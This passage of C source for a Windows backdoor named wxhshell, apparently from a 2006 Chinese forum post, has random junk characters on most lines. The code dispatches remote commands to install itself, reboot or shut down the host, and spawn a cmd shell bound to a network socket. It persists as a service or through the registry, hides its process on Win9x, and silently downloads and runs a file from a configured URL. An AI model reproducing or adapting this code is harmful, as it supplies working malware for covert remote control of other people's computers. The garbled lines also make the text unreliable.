< :<E~anH  
    switch(cmd[0]) { 9Fv1D  
  XBF#ILJ  
  // 帮助 owmV7E1  
  case '?': { ] 8+!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2?z3s|+[  
    break; L'H'E,  
  } 52C>f6w  
  // 安装 ] RN&s  
  case 'i': { C6M|A3^T  
    if(Install()) crz )F"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i"0^Gr  
    else :JV= Kt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Owo2DsT t  
    break; t*NZ@)>  
    } w;&J._J  
  // 卸载 }NMA($@A  
  case 'r': { DJS0;!# |O  
    if(Uninstall()) ;Lu%v%BM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x5.H dKV  
    else Rd&2mL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Q pP'  
    break; 2h IM!wQ  
    } Uk` ym  
  // 显示 wxhshell 所在路径 ;8'hvc3i$  
  case 'p': { B~D{p t3y  
    char svExeFile[MAX_PATH]; /[q6"R!uMz  
    strcpy(svExeFile,"\n\r"); z{]$WVs:^  
      strcat(svExeFile,ExeFile); JLT10c3  
        send(wsh,svExeFile,strlen(svExeFile),0); =$X5O&E3'  
    break; lr=? &>MXj  
    } iyB02\d  
  // 重启 Ckj2$c~  
  case 'b': { t:eZ`6o$T\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I+ rHb< P%  
    if(Boot(REBOOT)) P%8 Gaa=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sG=D(n1  
    else { ?w#V<3=  
    closesocket(wsh); ^vn8s~#  
    ExitThread(0); 07[A&B!  
    } }TzMWdT  
    break; .__XOd} K  
    } @i'RIL}  
  // 关机 Q })x4  
  case 'd': { Ynl^Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !TA6-]1  
    if(Boot(SHUTDOWN)) (+`pEDD{X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %YkJ A:  
    else { {pH{SRM)B  
    closesocket(wsh); /x c<&  
    ExitThread(0); b|^g51v  
    } umaF}}-Q{  
    break; Dq/_^a/1  
    } )a AKO`  
  // 获取shell -*~ = 4m<  
  case 's': { Dt%G v0  
    CmdShell(wsh); |_"JyGR2  
    closesocket(wsh); >v7fR<(%s  
    ExitThread(0); 5^<X:1J$  
    break; EiQX* v  
  } B 7zyMh   
  // 退出 4nK\gXz19  
  case 'x': { {;4Y5kj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )e(Rf!P{  
    CloseIt(wsh); 29("gB  
    break; N: ?UA  
    } GvSSi'q~B  
  // 离开 <o@&I " o  
  case 'q': { W/!M eTU&E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R4"*<%1  
    closesocket(wsh); @}eEV[Lli  
    WSACleanup(); ^,*ED Yz  
    exit(1); ` Fnl<C<  
    break; t2skg  
        } !~Gx@Ro  
  } :)o 4fOJ8  
  } O=~8+sa  
sU!h^N$  
  // 提示信息 7#d>a=$h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cyrVz4_a  
} me:~q#k  
  } ^0)Mc"&{  
BmR++?L  
  return; a~ q_2S]h  
} nGQc;p5;  
O'm><a>8  
// shell模块句柄 O<7Q>m  
int CmdShell(SOCKET sock) t"x 8]Gy  
{ M8dv y!D  
STARTUPINFO si; <Hd8Jd4f  
ZeroMemory(&si,sizeof(si)); vUm#^/#I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'NJGez'b ,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j5Kw0Wy7  
PROCESS_INFORMATION ProcessInfo; '!eg9}<  
char cmdline[]="cmd"; !"1}zeve  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B7 PkCS&X  
  return 0; \|e>(h!l;  
} `_%U K=m  
$J6Pv   
// 自身启动模式 t/55tL  
int StartFromService(void) Dl=9<:6FW  
{ = og>& K  
typedef struct KaVNRS  
{ DJ_[{WAV  
  DWORD ExitStatus; 9 5bi W  
  DWORD PebBaseAddress; b-? wJSf|  
  DWORD AffinityMask; < z':_,  
  DWORD BasePriority; x }\x3U  
  ULONG UniqueProcessId; O[}{$NXw  
  ULONG InheritedFromUniqueProcessId; zs/4tNXw  
}   PROCESS_BASIC_INFORMATION; `+DH@ce  
h?_Cv*0q  
PROCNTQSIP NtQueryInformationProcess; `HVS}}{a  
J]&^A$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gu?e%]X3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R[_Q}W'HG  
(~>uFH  
  HANDLE             hProcess; =MR.*m{  
  PROCESS_BASIC_INFORMATION pbi; MoAie|MKe  
 NOY`1i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *JnY0xP  
  if(NULL == hInst ) return 0; J?6.yL;  
7Qdf#DG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U ?iw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #jrtsv]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z9 z!YaOL  
)6+Z99w  
  if (!NtQueryInformationProcess) return 0; x,wXR=H  
V52>K$j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @JW HG1qJ  
  if(!hProcess) return 0; (g" {A  
&f=O`*I'+!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8Z&M}Llk  
,LE15},  
  CloseHandle(hProcess); vCvjb\S  
ML_$/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ATQw=w 3W  
if(hProcess==NULL) return 0; 4^r4O#  
iGq%|o>  
HMODULE hMod; FOPfo b[  
char procName[255]; 6jw9p+.  
unsigned long cbNeeded; &}'FC7}  
$>JfLSyC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5)5$h]Nz>  
uzoI*aqk-s  
  CloseHandle(hProcess); Pj-.oS2dA  
*wk?{ U  
if(strstr(procName,"services")) return 1; // 以服务启动 D\:dn  
^VC /tJ  
  return 0; // 注册表启动 # &,W x  
} =Bg $OX  
Fqt,VED  
// 主模块 jJY{np  
int StartWxhshell(LPSTR lpCmdLine) BGd# \2  
{ Bd'X~Vj<  
  SOCKET wsl; ?"F9~vx&G  
BOOL val=TRUE; ol0i^d*9F  
  int port=0; ^ps6\>=0cW  
  struct sockaddr_in door; &Fiesi!tET  
W [*Go  
  if(wscfg.ws_autoins) Install(); Ln'y 3~@  
,.kJF4s&  
port=atoi(lpCmdLine); U[0x\~[$K  
|,bP` Z  
if(port<=0) port=wscfg.ws_port; a8WWFAC[  
}/w]+f*  
  WSADATA data; m?< ^b_a}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~8 B]  
f+ cN'jH E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3"BSP3/ [l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~'V&[]nh8  
  door.sin_family = AF_INET; XF&_**0n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `@q\R-`  
  door.sin_port = htons(port); ^B_SAZ&%%  
kYhV1I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  )[S#:PP  
closesocket(wsl); r>e1IG  
return 1; $7QGi|W*k  
} l k sNy  
lfAiW;giJ  
  if(listen(wsl,2) == INVALID_SOCKET) { TU6(Q,Yi|  
closesocket(wsl); >'lvZt  
return 1; xfF;u9$;  
} tj? %{L  
  Wxhshell(wsl); r|63T%q!  
  WSACleanup(); HA J[Y3d<  
sYq:2Wn>8Q  
return 0; yV~TfTJ  
3'Hz,qP  
} Dm@h'*  
n^q%_60H   
// 以NT服务方式启动 qyBC1an5,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lak,lDt]  
{ %[4u #G`  
DWORD   status = 0;  >akC  
  DWORD   specificError = 0xfffffff; ur:8`+" (  
?f$U8A4lp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F pT$D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )Q 5 x%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dWx@<(`OC  
  serviceStatus.dwWin32ExitCode     = 0; VA>0Y  
  serviceStatus.dwServiceSpecificExitCode = 0; p,V%wGM  
  serviceStatus.dwCheckPoint       = 0; k|czQ"vaI  
  serviceStatus.dwWaitHint       = 0; zcC:b4  
=]r2;014  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =H`yzGt  
  if (hServiceStatusHandle==0) return; MQQQaD:v  
D^QL.Du,  
status = GetLastError(); K'}I?H~P_  
  if (status!=NO_ERROR) 2,Aw 6h;  
{ m-6&-G#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~ulcLvm:i  
    serviceStatus.dwCheckPoint       = 0; Q:j~ kutS|  
    serviceStatus.dwWaitHint       = 0; i&1rf|  
    serviceStatus.dwWin32ExitCode     = status; C B`7KK  
    serviceStatus.dwServiceSpecificExitCode = specificError; [8<0Q_?,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qgf\"s  
    return; Ge @qvP_  
  } ^AShy`o^X  
Z l;TS%$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P(s:+  
  serviceStatus.dwCheckPoint       = 0; [dR#!"6t  
  serviceStatus.dwWaitHint       = 0; id588Y78  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >=d 5Scix  
} !PA><F  
'`YZJ  
// 处理NT服务事件,比如:启动、停止 K_AdMXF9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UlWm). b;v  
{ o[1#)&  
switch(fdwControl) +!GJ  
{ 2cO6'?b  
case SERVICE_CONTROL_STOP: 1S(n3(KRk$  
  serviceStatus.dwWin32ExitCode = 0; ]61Si~Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _R(9O?;q  
  serviceStatus.dwCheckPoint   = 0; ,J '_Vi  
  serviceStatus.dwWaitHint     = 0; .hM t:BMf*  
  { E]v]fy"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /N({"G'  
  } ySB0"bl  
  return; c^O&A\+;  
case SERVICE_CONTROL_PAUSE: @eZBwFe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <@# g2b  
  break; Y]=k"]:%  
case SERVICE_CONTROL_CONTINUE: "hQGk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cRMyYdJ o  
  break; q`'"+`h  
case SERVICE_CONTROL_INTERROGATE: t`'jr=e,~  
  break; LXWI'nxV  
}; qco uZO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j /_&]6!  
} C0K: ffv;<  
(c&%1bJ  
// 标准应用程序主函数 IBvn q8\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e/_QS}OA  
{ ZqdoYU'  
s_}6#;  
// 获取操作系统版本 ZPY&q&R  
OsIsNt=GetOsVer(); >&Oql9_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BzzZ.AH~  
`a:3S@n(}  
  // 从命令行安装 k$ T  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2y \ogF  
zRa2iCi  
  // 下载执行文件 ar\ K8mj  
if(wscfg.ws_downexe) { *7-rm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ' tHa5`  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~#4FL<W  
} dC8}Ttc}  
*`|xa@1v`  
if(!OsIsNt) { 3u/AqL  
// 如果时win9x,隐藏进程并且设置为注册表启动 !yVY[  
HideProc(); dA (n,@{  
StartWxhshell(lpCmdLine); z;dRzwL  
} tHo|8c~ [  
else K,JK9)T  
  if(StartFromService()) \EU^`o+  
  // 以服务方式启动 \@yJbhk  
  StartServiceCtrlDispatcher(DispatchTable); {;E6jw@  
else A^p{Cq@E  
  // 普通方式启动 9gdK&/ulR  
  StartWxhshell(lpCmdLine); (X Oz0.W  
UlXxG|  
return 0; ?pfr^ !@$  
}
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只看该作者 1 发表于: 2006-10-10
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